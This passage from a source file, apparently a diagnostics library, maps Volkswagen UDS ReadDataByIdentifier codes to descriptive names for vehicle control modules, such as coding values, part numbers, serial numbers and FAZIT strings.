\"Rear_light_left_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07b9] = \"Ceiling_light_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07ba] = \"Left_front_massage_seat_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07bb] = \"Right_front_massage_seat_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07bc] = \"Control_module_for_auxiliary_air_heater_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07bd] = \"Ioniser_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07be] = \"Multi_function_steering_wheel_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07bf] = \"Left_rear_door_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07c0] = \"Right_rear_door_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07c1] = \"Left_rear_massage_seat_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07c2] = \"Right_rear_massage_seat_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07c3] = \"Display_unit_1_for_multimedia_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07c4] = \"Battery_monitoring_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07c5] = \"Roof_blind_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07c6] = \"Sun_roof_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07c7] = \"Display_unit_2_for_multimedia_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07c8] = \"Telephone_handset_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07c9] = \"Traffic_data_aerial_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07ca] = \"Chip_card_reader_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07cb] = \"Hands_free_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07cc] = \"Telephone_handset_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07cd] = \"Display_unit_front_for_multimedia_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07ce] = \"Multimedia_operating_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07cf] = \"Digital_sound_system_control_module_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x0902] = \"Activation of Development CAN-Messages\"\nUDS_RDBI.dataIdentifiers[0x2a26] = \"Gateway Component List present\"\nUDS_RDBI.dataIdentifiers[0x2a27] = \"Gateway_Component_List_Sleepindication\"\nUDS_RDBI.dataIdentifiers[0x2a28] = \"Gateway Component List dtc\"\nUDS_RDBI.dataIdentifiers[0x2a29] = \"Gateway Component List DiagProt\"\nUDS_RDBI.dataIdentifiers[0x2a2d] = \"Gateway_component_list_databus_identification\"\nUDS_RDBI.dataIdentifiers[0x2ee0] = \"Gateway_component_list_diag_path\"\nUDS_RDBI.dataIdentifiers[0x2ee1] = \"Gateway_component_list_ecu_authentication\"\nUDS_RDBI.dataIdentifiers[0x3610] = \"Electrically_adjustable_steering_column_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3611] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3612] = \"Rear_spoiler_adjustment_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3613] = \"Roof_blind_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3614] = \"Motor_for_wind_deflector_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3615] = \"Voltage_stabilizer_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3616] = \"Switch_module_for_driver_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3617] = \"Switch_module_for_front_passenger_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3618] = \"Switch_module_for_rear_seat_driver_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3619] = \"Switch_module_for_rear_seat_front_passenger_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x361a] = \"Switch_module_2_for_driver_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x361b] = \"Switch_module_2_for_front_passenger_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x361c] = \"Switch_module_2_for_rear_seat_front_passenger_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x361d] = \"Compact_disc_database_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3629] = \"LED_headlamp_powermodule_2_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x362a] = \"LED_headlamp_powermodule_2_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x362c] = \"Multimedia_operating_unit_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x362e] = \"Data_medium_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x362f] = \"Analog_clock_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3630] = \"Relative_Air_Humidity_Interior_Sender_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3631] = \"Sensor_controlled_power_rear_lid_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3632] = \"Battery_monitoring_control_module_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3633] = \"Air_conditioning_compressor_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3634] = \"Control_module_for_auxiliary_blower_motors_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3635] = \"High_beam_powermodule_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3636] = \"High_beam_powermodule_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3637] = \"Coolant_heater_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x3640] = \"Electrically_adjustable_steering_column_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3641] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3642] = \"Rear_spoiler_adjustment_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3643] = \"Roof_blind_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3644] = \"Motor_for_wind_deflector_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3645] = \"Voltage_stabilizer_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3646] = \"Switch_module_for_driver_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3647] = \"Switch_module_for_front_passenger_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3648] = \"Switch_module_for_rear_seat_driver_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3649] = \"Switch_module_for_rear_seat_front_passenger_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x364a] = \"Switch_module_2_for_driver_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x364b] = \"Switch_module_2_for_front_passenger_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x364c] = \"Switch_module_2_for_rear_seat_front_passenger_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x364d] = \"Compact_disc_database_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3659] = \"LED_headlamp_powermodule_2_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x365a] = \"LED_headlamp_powermodule_2_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x365c] = \"Multimedia_operating_unit_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x365e] = \"Data_medium_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x365f] = \"Analog_clock_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3660] = \"Relative_Air_Humidity_Interior_Sender_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3661] = \"Sensor_controlled_power_rear_lid_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3662] = \"Battery_monitoring_control_module_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3663] = \"Air_conditioning_compressor_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3664] = \"Control_module_for_auxiliary_blower_motors_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3665] = \"High_beam_powermodule_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3666] = \"High_beam_powermodule_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3667] = \"Coolant_heater_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x3670] = \"Electrically_adjustable_steering_column_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3671] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3672] = \"Rear_spoiler_adjustment_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3673] = \"Roof_blind_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3674] = \"Motor_for_wind_deflector_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3675] = \"Voltage_stabilizer_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3676] = \"Switch_module_for_driver_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3677] = \"Switch_module_for_front_passenger_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3678] = \"Switch_module_for_rear_seat_driver_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3679] = \"Switch_module_for_rear_seat_front_passenger_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x367a] = \"Switch_module_2_for_driver_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x367b] = \"Switch_module_2_for_front_passenger_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x367c] = \"Switch_module_2_for_rear_seat_front_passenger_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x367d] = \"Compact_disc_database_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3689] = \"LED_headlamp_powermodule_2_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x368a] = \"LED_headlamp_powermodule_2_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x368c] = \"Multimedia_operating_unit_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x368e] = \"Data_medium_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x368f] = \"Analog_clock_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3690] = \"Relative_Air_Humidity_Interior_Sender_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3691] = \"Sensor_controlled_power_rear_lid_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3692] = \"Battery_monitoring_control_module_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3693] = \"Air_conditioning_compressor_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3694] = \"Control_module_for_auxiliary_blower_motors_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3695] = \"High_beam_powermodule_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3696] = \"High_beam_powermodule_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3697] = \"Coolant_heater_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36a0] = \"Electrically_adjustable_steering_column_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36a1] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36a2] = \"Rear_spoiler_adjustment_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36a3] = \"Roof_blind_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36a4] = \"Motor_for_wind_deflector_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36a5] = \"Voltage_stabilizer_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36a6] = \"Switch_module_for_driver_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36a7] = \"Switch_module_for_front_passenger_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36a8] = \"Switch_module_for_rear_seat_driver_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36a9] = \"Switch_module_for_rear_seat_front_passenger_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36aa] = \"Switch_module_2_for_driver_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36ab] = \"Switch_module_2_for_front_passenger_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36ac] = \"Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36ad] = \"Compact_disc_database_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36b9] = \"LED_headlamp_powermodule_2_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36ba] = \"LED_headlamp_powermodule_2_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36bc] = \"Multimedia_operating_unit_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36be] = \"Data_medium_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36bf] = \"Analog_clock_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36c0] = \"Relative_Air_Humidity_Interior_Sender_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36c1] = \"Sensor_controlled_power_rear_lid_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36c2] = \"Battery_monitoring_control_module_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36c3] = \"Air_conditioning_compressor_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36c4] = \"Control_module_for_auxiliary_blower_motors_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36c5] = \"High_beam_powermodule_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36c6] = \"High_beam_powermodule_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36c7] = \"Coolant_heater_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x36d0] = \"Electrically_adjustable_steering_column_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36d1] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36d2] = \"Rear_spoiler_adjustment_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36d3] = \"Roof_blind_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36d4] = \"Motor_for_wind_deflector_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36d5] = \"Voltage_stabilizer_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36d6] = \"Switch_module_for_driver_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36d7] = \"Switch_module_for_front_passenger_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36d8] = \"Switch_module_for_rear_seat_driver_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36d9] = \"Switch_module_for_rear_seat_front_passenger_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36da] = \"Switch_module_2_for_driver_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36db] = \"Switch_module_2_for_front_passenger_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36dc] = \"Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36dd] = \"Compact_disc_database_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36e9] = \"LED_headlamp_powermodule_2_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36ea] = \"LED_headlamp_powermodule_2_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36ec] = \"Multimedia_operating_unit_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36ee] = \"Data_medium_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36ef] = \"Analog_clock_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36f0] = \"Relative_Air_Humidity_Interior_Sender_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36f1] = \"Sensor_controlled_power_rear_lid_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36f2] = \"Battery_monitoring_control_module_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36f3] = \"Air_conditioning_compressor_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36f4] = \"Control_module_for_auxiliary_blower_motors_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36f5] = \"High_beam_powermodule_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36f6] = \"High_beam_powermodule_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x36f7] = \"Coolant_heater_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x3700] = \"Electrically_adjustable_steering_column_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3701] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3702] = \"Rear_spoiler_adjustment_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3703] = \"Roof_blind_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3704] = \"Motor_for_wind_deflector_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3705] = \"Voltage_stabilizer_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3706] = \"Switch_module_for_driver_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3707] = \"Switch_module_for_front_passenger_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3708] = \"Switch_module_for_rear_seat_driver_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3709] = \"Switch_module_for_rear_seat_front_passenger_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x370a] = \"Switch_module_2_for_driver_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x370b] = \"Switch_module_2_for_front_passenger_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x370c] = \"Switch_module_2_for_rear_seat_front_passenger_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x370d] = \"Compact_disc_database_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3719] = \"LED_headlamp_powermodule_2_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x371a] = \"LED_headlamp_powermodule_2_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x371c] = \"Multimedia_operating_unit_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x371e] = \"Data_medium_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x371f] = \"Analog_clock_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3720] = \"Relative_Air_Humidity_Interior_Sender_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3721] = \"Sensor_controlled_power_rear_lid_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3722] = \"Battery_monitoring_control_module_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3723] = \"Air_conditioning_compressor_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3724] = \"Control_module_for_auxiliary_blower_motors_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3725] = \"High_beam_powermodule_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3726] = \"High_beam_powermodule_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3727] = \"Coolant_heater_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x3730] = \"Electrically_adjustable_steering_column_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3731] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3732] = \"Rear_spoiler_adjustment_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3733] = \"Roof_blind_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3734] = \"Motor_for_wind_deflector_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3735] = \"Voltage_stabilizer_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3736] = \"Switch_module_for_driver_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3737] = \"Switch_module_for_front_passenger_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3738] = \"Switch_module_for_rear_seat_driver_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3739] = \"Switch_module_for_rear_seat_front_passenger_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x373a] = \"Switch_module_2_for_driver_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x373b] = \"Switch_module_2_for_front_passenger_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x373c] = \"Switch_module_2_for_rear_seat_front_passenger_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x373d] = \"Compact_disc_database_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3749] = \"LED_headlamp_powermodule_2_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x374a] = \"LED_headlamp_powermodule_2_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x374c] = \"Multimedia_operating_unit_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x374e] = \"Data_medium_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x374f] = \"Analog_clock_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3750] = \"Relative_Air_Humidity_Interior_Sender_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3751] = \"Sensor_controlled_power_rear_lid_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3752] = \"Battery_monitoring_control_module_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3753] = \"Air_conditioning_compressor_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3754] = \"Control_module_for_auxiliary_blower_motors_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3755] = \"High_beam_powermodule_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3756] = \"High_beam_powermodule_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x3757] = \"Coolant_heater_System_Name\"\nUDS_RDBI.dataIdentifiers[0x37a0] = \"Electrically_adjustable_steering_column_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37a1] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37a2] = \"Rear_spoiler_adjustment_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37a3] = \"Roof_blind_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37a4] = \"Motor_for_wind_deflector_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37a5] = \"Voltage_stabilizer_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37a6] = \"Switch_module_for_driver_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37a7] = \"Switch_module_for_front_passenger_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37a8] = \"Switch_module_for_rear_seat_driver_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37a9] = \"Switch_module_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37aa] = \"Switch_module_2_for_driver_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37ab] = \"Switch_module_2_for_front_passenger_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37ac] = \"Switch_module_2_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37ad] = \"Compact_disc_database_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37b9] = \"LED_headlamp_powermodule_2_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37ba] = \"LED_headlamp_powermodule_2_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37bc] = \"Multimedia_operating_unit_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37be] = \"Data_medium_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37bf] = \"Analog_clock_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37c0] = \"Relative_Air_Humidity_Interior_Sender_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37c1] = \"Sensor_controlled_power_rear_lid_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37c2] = \"Battery_monitoring_control_module_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37c3] = \"Air_conditioning_compressor_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37c4] = \"Control_module_for_auxiliary_blower_motors_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37c5] = \"High_beam_powermodule_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37c6] = \"High_beam_powermodule_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x37c7] = \"Coolant_heater_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x5867] = \"In_use_monitor_performance_ratio_1\"\nUDS_RDBI.dataIdentifiers[0x5868] = \"In_use_monitor_performance_ratio_2\"\nUDS_RDBI.dataIdentifiers[0x5869] = \"In_use_monitor_performance_ratio_3\"\nUDS_RDBI.dataIdentifiers[0x6001] = \"Control_unit_for_wiper_motor_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6002] = \"Rain_light_recognition_sensor_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6003] = \"Light_switch_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6004] = \"Garage_door_opener_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6005] = \"Garage_door_opener_operating_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6006] = \"Ignition_key_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6007] = \"Left_front_seat_ventilation_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6008] = \"Right_front_seat_ventilation_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6009] = \"Left_rear_seat_ventilation_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x600a] = \"LED_headlamp_powermodule_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x600b] = \"LED_headlamp_powermodule_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x600c] = \"LED_headlamp_powermodule_2_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x600d] = \"LED_headlamp_powermodule_2_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x600e] = \"Operating_and_display_unit_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x600f] = \"Operating_and_display_unit_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6010] = \"Right_rear_seat_ventilation_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6011] = \"Data_medium_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6012] = \"Drivers_door_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6013] = \"Front_passengers_door_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6014] = \"Left_headlamp_power_output_stage_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6015] = \"Right_headlamp_power_output_stage_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6016] = \"Sensor_for_anti_theft_alarm_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6017] = \"Rear_lid_control_module_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6018] = \"Alarm_horn_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6019] = \"Automatic_day_night_interior_mirror_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x601a] = \"Remote_control_auxiliary_heater_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x601b] = \"Fresh_air_blower_front_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x601c] = \"Fresh_air_blower_back_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x601d] = \"Alternator_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x601e] = \"Interior_light_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x601f] = 